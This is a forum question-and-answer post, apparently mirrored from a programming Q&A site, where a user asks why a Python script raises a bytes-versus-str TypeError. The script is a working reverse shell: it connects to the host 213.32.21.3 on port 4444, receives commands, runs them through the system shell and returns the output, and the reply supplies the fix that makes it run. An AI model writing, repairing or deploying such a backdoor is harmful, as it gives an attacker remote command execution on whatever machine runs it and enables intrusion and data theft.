I don't understand what is the problem please help
when run in console it gives the following error:
TypeError: a bytes-like object is required, not 'str'
#!/usr/bin/env python
import socket
import subprocess
def execute_system_command(command):
return subprocess.check_output(command, shell = True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(("213.32.21.3", 4444))
connection.send("\n[+] Connection established. \n")
while True:
command = connection.recv(1024)
command_result = execute_system_command(command)
connection.send(command_result)
connection.close()
You need to send your message as bytes and not as str. Just do this:
connection.send(bytes(<Your Message>, "utf-8"))
Parse your message as first parameter for the bytes function.
The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.